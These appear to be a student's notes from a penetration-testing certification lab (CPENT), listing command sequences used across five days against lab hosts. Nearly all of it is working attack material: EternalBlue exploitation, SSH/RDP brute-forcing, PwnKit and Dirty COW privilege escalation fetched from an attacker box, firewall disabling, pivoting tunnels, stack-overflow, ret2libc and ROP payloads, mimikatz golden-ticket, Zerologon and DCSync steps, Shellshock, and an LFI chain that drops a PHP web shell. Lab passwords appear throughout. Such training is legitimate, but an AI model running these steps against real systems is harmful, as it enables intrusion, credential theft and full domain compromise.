DAY 1-2

CPENT iLab Boxes

Parrot Security
 - 192.168.0.18
Windows Server 2019
 - 192.168.0.20
Windows Server 2008
 - 192.168.0.7, 21
SSH Server
 - 192.168.0.70
WordPress
 - 192.168.0.24

Scan

 - IP (arp, icmp, 25, 80, 445, 3389)
 - Port (rustcan)
 - Service

Host Discovery: IP (arp, icmp, 25, 80, 445, 3389)

sudo nmap –n –sn –PS22,80,445,3389 192.168.0.1-254 –oG ip_scan.txt

grep Up ip_scan.txt | cut –d" " –f2

for i in {1..254}; do (ping -c 1 192.168.0.$i | grep "bytes from" &); done

cat /proc/net/arp | grep -v 00:00:00:00:00:00 | grep eth0 | cut -d' ' -f1

Port

nmap <IP>

> /usr/share/nmap/nmap-services

nmap –p- <IP>

> UDP SCAN 53, 69, 137-138, 161, 1900, 5353

sudo nmap -sU

---

sudo hping3 192.168.0.7 -n -S -c 3 -p 80

---

https://github.com/RustScan/RustScan/releases
https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb

sudo dpkg -i rustscan_2.0.1_amd64.deb

rustscan -u 5000 -t 7000 -a 192.168.0.7

rustscan -u 5000 -t 7000 --script none -a 192.168.0.7

rustscan -u 5000 -t 7000 -a 192.168.0.7 -- -n -Pn -sVC -oG 7_host.txt

---

Service/OS Discovery

nmap -sVC

sudo nmap –n –p445,3389 192.168.0.8,20 –sVC

sudo nmap –n –p22,80 192.168.0.24,70 –sVC

Initial Access - Exploit MS17_010

msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.0.7
check
exploit

ENUM

SNMP - UDP 161

sudo nmap -n -p161 -sU --open -oG snmp_list.txt 192.168.0.*

cat snmp_list.txt | grep Up | cut -d' ' -f2 > snmp_ip.txt

onesixtyone -i snmp_ips.txt public

snmp-check 192.168.0.20

snmp-check 192.168.0.22

sudo nmap -n -p161 -sU --script snmp-win32-users 192.168.0.20,22

NetBIOS over TCP/IP (NetBT)

UDP 137,138

nbtscan

nbtstat -n

nbtstat -a <Name>

nbtstat -A <IP>

---

net view

net view /domain

net view /domain:workgroup

net view \\192.168.0.7

enum4linux

CIFS / SMB - TCP 139,445

nmap -iL -p445 -sVC

nmap --script smb-os-discovery,smb-protocols

> Version > 0.9.23
python3 –m pip install --upgrade impacket

crackmapexec smb <smb_IP> -u <users.txt> -p <password.txt>

winexe –U 'Username%Password' //<IP> cmd.exe

secretsdump.py 'administrator:Pa$$w0rd'@192.168.0.7

pth-winexe –U 'Username%<LM_hash:NTLM_hash>' //<IP> cmd.exe

RDP - TCP 3389

sudo dpkg –l | grep freerdp
> Version > 2.3
freerdp2-x11
libfreerdp2-2
libfreerdp-client2-2

> sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 823BF07CEB5C469B

sudo apt install –y crowbar
crowbar [-v] –b rdp –s <IP/CIDR> –u user –c password
crowbar [-v] –b rdp –s <IP/CIDR> –U Users.txt –C Passwords.txt

xfreerdp /size:90% /v:<rdp_IP> /u:<user> /p:<password>
xfreerdp /size:90% /v:<rdp_IP> /u:<user> /pth:<ntlm_hash>

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

---

SSH

msfconsole

use auxiliary/scanner/ssh/ssh_enumusers
set rhosts <IP>
set user_file Wordlist/Username.txt
set check_false true
exploit

hydra –t 4 –l <username> –P <passwords.txt> ssh://<ssh_IP>
hydra –t 4 –L <users.txt> –P <passwords.txt> ssh://<ssh_IP>

---

owaspbwa

Pa$$w0rd123

Privilege Escalation

PwnKit
> https://github.com/ly4k/PwnKit

wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
wget https://github.com/ly4k/PwnKit/raw/main/PwnKit32
sudo python3 -m http.server 80

wget 192.168.0.18/PwnKit
chmod +x PwnKit && ./PwnKit

Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)
> https://www.exploit-db.com/exploits/40847

searchsploit -m 40847
sudo python3 -m http.server 80

wget 192.168.0.18/40847.cpp
g++ -Wall -pedantic -02 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s

Egress Busting

sudo tcpdump -ni eth0 tcp[13]==2

nc -nz 192.168.0.18 1-10

echo > /dev/tcp/192.168.0.18/200

Persistent

netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

sudo iptables –S
sudo iptables –P INPUT ACCEPT
sudo iptables –P OUTPUT ACCEPT

POST

Windows
dir /s <FILE_NAME> 2> nul
findstr /n /i /s <KEYWORD> *.*

Linux
find / -name <FILE_NAME> –ls 2> /dev/null
grep –nir <KEYWORD> .

END

DAY 3

P&DP

SSH Local Port Forwarding
ssh -L *:80:192.168.0.24:80 administrator@192.168.0.70

administrator / Infinit3

SSH Remote Port Forwarding

ssh -R *:8008:192.168.0.24:80 administrator@192.168.0.70

> SSH server side:
sudo nano /etc/ssh/sshd_config
GatewayPorts yes
sudo service ssh restart

SSH dynamic port forwarding

ssh -D 9050 administrator@192.168.0.70

sudo nano /etc/proxychains.conf

SSH Local Port Forwarding /w Jump Host

ssh -J administrator@192.168.0.70 administrator@192.168.0.10 -L *:80:192.168.0.24:80

Meterpreter Session Routing

> MSF
msfconsole
use exploit/multi/ssh/sshexec
set rhosts 172.19.19.70
set username administrator
set password Infinit3
set lhost 172.19.19.18
exploit

> Meterpreter (Session-Routing)
run post/multi/manage/autoroute OPTION=s
run autoroute -p
background

> MS17_010
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.0.7
set lhost 172.19.19.18
check
exploit

Datapipe

https://github.com/bovine/datapipe/blob/master/datapipe.c

> change Line 80: 20 to 999
gcc datapipe.c –o datapipe

> Setup datapipe
datapipe 0.0.0.0 135 192.168.0.7 135
datapipe 0.0.0.0 445 192.168.0.7 445
datapipe 0.0.0.0 4444 172.19.19.18 4444

> MS17_010
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 172.19.19.70
set lhost 192.168.0.70
check
exploit

Chisel

chisel server –p 443

chisel client <chisel_server>:443 <remote_addr>:445

Chisel Reverse

chisel server –p 443 --reverse

chisel client <chisel_server>:443 R:<remote_addr>:445

IOT

https://github.com/useidel/sasquatch

git clone https://github.com/useidel/sasquatch.git

Xcat

binwalk –t encrypted.bin

hexdump -v -C encrypted.bin

binwalk -E encrypted.bin

hexdump -v -C encrypted.bin | cut -d" " -f3-20 | sort | uniq -c | sort -nr | head -n 20

> https://github.com/mstrand/xcat

chmod +x xcat.py

./xcat.py -x <xor_key> encrypted.bin > decrypted.bin

binwalk –t decrypted.bin

XORTool

python -m pip install xortool

xortool enctypted.bin

xortool enctypted.bin -l 8 -c 00

binwalk -t -e xortool_out/0.out

cat xortool_out/filename-key.csv

python -c "print(b'\x88D\xa2\xd1h\xb4Z-'.hex())"

END

DAY 4: BINARY EXPLOITATION

sudo sysctl -w kernel.randomize_va_space=0

---

shellcode.c

> examples/samplecode/shellcode.c

```
  "\x6a\x17"
  "\x58"
  "\x31\xdb"
  "\xcd\x80"
```

```
  "\x6a\x2e"
  "\x58"
  "\x53"
  "\xcd\x80"
```

```
sudo gcc shellcode.c -o shellcode -z execstack
sudo chmod 4755 shellcode
ll shellcode
./shellcode
```

BO for stack.c

```
sudo gcc stack.c -o stack -z execstack -fno-stack-protector

sudo chmod 4755 stack

ll stack

gdb -q ./stack

checksec

disassemble main

run

b *mian +55

run

> touch badfile

r
```

```
> python -c 'print "A"*100' > badfile

r

pattern create 100 badfile

r

pattern search

> python -c 'print "A"*42 + "BBBB" + "C"*64' > badfile

r

> cat shellcode.c | grep '"' | cut -d'"' -f2,4 | tr -d '"' | tr -d '\n'

> python -c 'print "A"*42 + "BBBB" + "\x.. shellcode \x..' > badfile

r

x/128c $esp

vmm

jmpcall esp /lib/i386-linux-gnu/libc-2.23.so

> python -c 'print "A"*42 + "\xa9\x7a\xe0\xb7" + "\x.. shellcode \x..' > badfile

> ./stack
```

> id

Return to Libc

> retlib.c line #11 40 > 120

sudo gcc retlib.c -o retlib -fno-stack-protector -z noexecstack

sudo chmod 4755 retlib

ll retlib

gdb -q ./retlib

checksec

disassemble main

disassemble bof

> python -c 'print "A"*100' > badfile

r

pattern create 100 badfile

r

pattern search

> python -c 'print "A"*24 + "BBBB" + "C"*8' > badfile

r

p system

p exit

find /bin/sh

p system-exit

> python -c 'print "A"*24 + "\xb0\xfd\xe3\xb7" + "\xe0\x39\xe3\xb7" + "\x2b\x0b\xf6\xb7"' > badfile

> ./retlib

ROP

p setuid

p setgid

ropgadget

> python -c 'print "A"*24 + "\xc0\x63\xeb\xb7" + "\x45\x83\x04\x08" + "\x00\x00\x00\x00" + "\x40\x64\xeb\xb7" + "\x45\x83\x04\x08" + "\x00\x00\x00\x00" + "\xb0\xfd\xe3\xb7" + "\xe0\x39\xe3\xb7" + "\x2b\x0b\xf6\xb7"' > badfile

> ./retlib

---

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 823BF07CEB5C469B

sudo nano /etc/apt/sources.list.d/parrot.list

deb http://free.nchc.org.tw/parrot/ parrot main contrib non-free

---

END

DAY 5

ADPT

ADRecon

powershell.exe –nop –ep bypass

> in Domain
./adrecon.ps1

> OR Not in Domain
./adrecon.ps1 -DomainController 192.168.177.19 –OutputType ALL -Credential lpt.com\cpent

> OR
./adrecon.ps1 -DomainController 192.168.177.19 –OutputType HTML -Credential lpt.com\cpent

---

Export Kerberos Tickets

> https://github.com/gentilkiwi/mimikatz/releases

mimikatz

privilege::debug

sekurlsa::tickets /export

Pass the Ticket

kerberos::ptt "*.kirbi"

kerberos::list

Golden Ticket Attack

sudo nano /etc/hosts
> 192.168.177.19 server2019.lpt.com

impacket-secretsdump 'administrator:Pa$$w0rd'@192.168.177.19

python3 /opt/impacket/examples/lookupsid.py 'administrator:Pa$$w0rd'@192.168.177.19 0

python3 /opt/impacket/examples/ticketer.py -nthash <ntlm_hash> -domain-sid <sid> -domain lpt.com evil

export KRB5CCNAME=~/evil.ccache

psexec.py lpt.com/evil@server2019.lpt.com -k -no-pass -dc-ip 192.168.177.19

Kerberoasting

> Register service in AD
setspn -s http/lpt.com user-one

> TCP: 88, 389
GetUserSPNs.py 'lpt.com/cpent:Pa$$w0rd' -dc-ip 192.168.177.19 -request -outputfile kerberoast.txt

> Rubeus
> https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe
> Domain
Rubeus kerberoast /domain:lpt.com

> Local
Rubeus kerberoast /domain:lpt.com /creduser:lpt.com\cpent /credpassword:Pa$$w0rd

---

Zerologon

lsadump::Zerologon /target:192.168.177.19 /account:server2019$ /null /ntlm /exploit
lsadump::postzerologon /target:192.168.177.19 /account:server2019$

dcsync
lsadump::dcsync /authdomain:lpt /authuser:server2019$ /authpassword:"" /authntlm /domain:lpt.com /dc:server2019 /user:administrator
lsadump::dcsync /authdomain:lpt /authuser:server2019$ /authpassword:"" /authntlm /domain:lpt.com /dc:server2019 /user:krbtgt

PtH
privilege::debug
sekurlsa::pth /user:Administrator /domain:lpt.com /ntlm:<HASH>

PtT
kerberos::golden /domain:lpt.com /sid:<SID> /krbtgt:<HASH> /user:evil /ptt

misc::cmd
klist add_bind lpt.com server2019.lpt.com

> OR
kerberos::golden /domain:lpt.com /sid:<SID> /krbtgt:<HASH> /user:evil /ticket:evil.tck

---

Web to RCE

SHELLSHOCK

> Preparation on 192.168.0.24:
cd /usr/lib/cgi-bin/
sudo mv shellshock keygen

> Parrot:
dirb http://192.168.0.24
dirb http://192.168.0.24/cgi-bin

> OR

sudo apt install gobuster
gobuster dir –-url http://192.168.0.24 –-wordlist /usr/share/wordlists/dirb/common.txt

msfconsole
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set RHOSTS 192.168.0.24
set RPORT 80
set TARGETURI /cgi-bin/keygen

LFI to RCE

> ssh administrator@192.168.0.10
> toor

echo '<?php phpinfo(); ?>' >> /var/www/html/info.php
echo '<?php include($_GET["file"]); ?>' >> /var/www/html/inc.php

chmod 775 -R /var/log/apache2
tail /var/log/apache2/access.log

chmod 775 /var/auth.log
tail /var/auth.log

Parrot:
http://192.168.0.10/inc.php?file=info.php

PHP_SESSION_UPLOAD_PROGRESS

> POC
curl http://127.0.0.1/
-H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd'

0.1
python -c 'print "A" * 2048 * 1024' >> junk.txt

0.2
evildropper:<?php file_put_contents('/tmp/shell.php','<?php system($_GET[3])?>'); ?>

1. [INC]
while true; do (curl -s 'http://<ip_addr>/inc.php?file=/var/lib/php5/sess_uploadupload' | grep evildropper); done

2. [UPLOAD]
curl http://<ip_addr>/inc.php -H 'Cookie: PHPSESSID=uploadupload' -F 'PHP_SESSION_UPLOAD_PROGRESS=evildropper'
-F 'files=@junk.txt'

3. [UPLOAD]
curl http://<ip_addr>/inc.php -H 'Cookie: PHPSESSID=uploadupload' -F
'PHP_SESSION_UPLOAD_PROGRESS=<evildropper.txt' -F 'files=@junk.txt'

4. [INC]
curl -s 'http://<ip_addr>/inc.php?file=/tmp/shell.php&3=id

Setup WordPress

192.168.0.10
PHP 5.5.9
WordPress 4.9.1

---

mysql -uroot -pAntarct1cA
update wordpress.wp_options set option_value='http://192.168.0.10/wordpress' where option_name = 'siteurl';
update wordpress.wp_options set option_value='http://192.168.0.10/wordpress' where option_name = 'home';
exit

---

nano /etc/php5/apache2/php.ini
[Ctrl-W] OR [F6] upload_max_filesize
service apache2 restart

---

http://192.168.0.10/wordpress/wp-admin
> admin / qwerty@123

WordPress Plugin Site Editor 1.1.1 - Local File Inclusion
https://www.exploit-db.com/exploits/44340

Attack WordPress

wpscan --url http://192.168.0.10/wordpress -e

wpscan --url http://192.168.0.10/wordpress -U mike -P Wordlists/Passwords.txt

END